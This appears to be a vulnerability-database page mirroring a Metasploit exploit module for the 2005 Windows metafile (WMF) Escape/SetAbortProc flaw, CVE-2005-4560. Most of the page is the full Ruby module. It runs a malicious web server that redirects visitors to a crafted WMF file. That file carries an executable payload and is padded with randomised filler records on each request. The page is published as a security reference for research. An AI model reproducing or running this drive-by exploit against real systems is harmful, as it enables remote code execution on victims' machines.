Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution

🗓️ 26 Nov 2009 00:00:00Reported by H D MooreType

packetstorm🔗 packetstormsecurity.com👁 36 Views

Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution vulnerability in GDI librar

Reporter	Title	Published	Views	Family All 31
0day.today	Windows XP/2003 Metafile Escape() Code Execution Exploit (meta)	27 Dec 200500:00	–	zdt
ATTACKERKB	CVE-2007-1211	4 Apr 200716:19	–	attackerkb
Circl	CVE-2005-4560	20 Sep 201000:00	–	circl
Check Point Advisories	Microsoft Windows WMF Handling Arbitrary Code Execution (CVE-2005-4560)	22 Mar 201000:00	–	checkpoint_advisories
Check Point Advisories	WMF and EMF Files (CVE-2005-2123; CVE-2005-2124; CVE-2005-4560; CVE-2006-0020)	22 Feb 200600:00	–	checkpoint_advisories
CVE	CVE-2005-4560	28 Dec 200519:00	–	cve
Cvelist	CVE-2005-4560	28 Dec 200519:00	–	cvelist
Exploit DB	Microsoft Windows XP/2003 - Metafile Escape() Code Execution (Metasploit)	27 Dec 200500:00	–	exploitdb
Exploit DB	Microsoft Windows XP/Vista/2003 - Metafile Escape() SetAbortProc Code Execution (MS06-001) (Metasploit)	20 Sep 201000:00	–	exploitdb
exploitpack	Microsoft Windows XP2003 - Metafile Escape() Code Execution (Metasploit)	27 Dec 200500:00	–	exploitpack

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
#  
# This module acts as an HTTP server  
#  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution',  
'Description' => %q{  
This module exploits a vulnerability in the GDI library included with  
Windows XP and 2003. This vulnerability uses the 'Escape' metafile function  
to execute arbitrary code through the SetAbortProc procedure. This module  
generates a random WMF record stream for each request.  
},  
'License' => MSF_LICENSE,  
'Author' =>   
[   
'hdm',   
'san <[email protected]>',  
'[email protected]',  
],  
'Version' => '$Revision$',  
'References' =>   
[  
['CVE', '2005-4560'],  
['OSVDB', '21987'],  
['MSB', 'MS06-001'],  
['BID', '16074'],  
['URL', 'http://www.microsoft.com/technet/security/advisory/912840.mspx'],   
['URL', 'http://wvware.sourceforge.net/caolan/ora-wmf.html'],  
['URL', 'http://www.geocad.ru/new/site/Formats/Graphics/wmf/wmf.txt'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 1000 + (rand(256).to_i * 4),  
'BadChars' => "\x00",  
'Compat' =>   
{  
'ConnectionType' => '-find',  
},  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP/2003/Vista Automatic', { }],  
],  
'DisclosureDate' => 'Dec 27 2005',  
'DefaultTarget' => 0))  
end  
  
def on_request_uri(cli, request)  
  
  
ext = 'wmf'  
  
if (not request.uri.match(/\.wmf$/i))  
html =  
"<html><meta http-equiv='refresh' content='0; URL=" +  
get_resource + '/' +   
rand_text_alphanumeric(rand(80)+16) +   
".#{ext}'><body>One second please...</body></html>"  
send_response_html(cli, html)  
return  
end  
  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the compressed response to the client  
send_response(cli, generate_metafile(p), { 'Content-Type' => 'text/plain' })  
  
# Handle the payload  
handler(cli)  
end  
  
def generate_metafile(payload)  
  
# Minimal length values before and after the Escape record  
pre_mlen = 1440 + rand(8192)  
suf_mlen = 128 + rand(8192)  
  
# Track the number of generated records  
fill = 0  
  
# The prefix and suffix buffers  
pre_buff = ''  
suf_buff = ''  
  
# Generate the prefix  
while (pre_buff.length < pre_mlen)   
pre_buff << generate_record()  
fill += 1  
end  
  
# Generate the suffix  
while (suf_buff.length < suf_mlen)   
suf_buff << generate_record()  
fill += 1  
end  
  
clen = 18 + 8 + 6 + payload.encoded.length + pre_buff.length + suf_buff.length  
data =  
#  
# WindowsMetaHeader  
#  
[  
# WORD FileType; /* Type of metafile (1=memory, 2=disk) */  
rand(2)+1,  
# WORD HeaderSize; /* Size of header in WORDS (always 9) */  
9,  
# WORD Version; /* Version of Microsoft Windows used */  
( rand(2).to_i == 1 ? 0x0300 : 0x0100 ),  
# DWORD FileSize; /* Total size of the metafile in WORDs */  
clen/2,  
# WORD NumOfObjects; /* Number of objects in the file */  
rand(0xffff),  
# DWORD MaxRecordSize; /* The size of largest record in WORDs */  
rand(0xffffffff),  
# WORD NumOfParams; /* Not Used (always 0) */  
rand(0xffff),  
].pack('vvvVvVv') +  
#  
# Filler data  
#  
pre_buff +  
#  
# StandardMetaRecord - Escape()  
#  
[  
# DWORD Size; /* Total size of the record in WORDs */  
4,  
# WORD Function; /* Function number (defined in WINDOWS.H) */  
(rand(256).to_i << 8) + 0x26,  
# WORD Parameters[]; /* Parameter values passed to function */  
9,   
].pack('Vvv') + payload.encoded +  
#  
# Filler data  
#  
suf_buff +  
#  
# Complete the stream  
#  
[3, 0].pack('Vv') +  
#  
# Some extra fun padding  
#  
rand_text(rand(16384)+1024)  
  
return data  
  
end  
  
def generate_record  
type = rand(3)  
  
case type  
when 0  
# CreatePenIndirect  
return [8, 0x02fa].pack('Vv') + rand_text(10)  
when 1  
# CreateBrushIndirect  
return [7, 0x02fc].pack('Vv') + rand_text(8)   
else  
# Rectangle  
return [7, 0x041b].pack('Vv') + rand_text(8)  
end  
end  
  
  
end  
`

26 Nov 2009 00:00Current

0.1Low risk

Vulners AI Score0.1

EPSS0.90269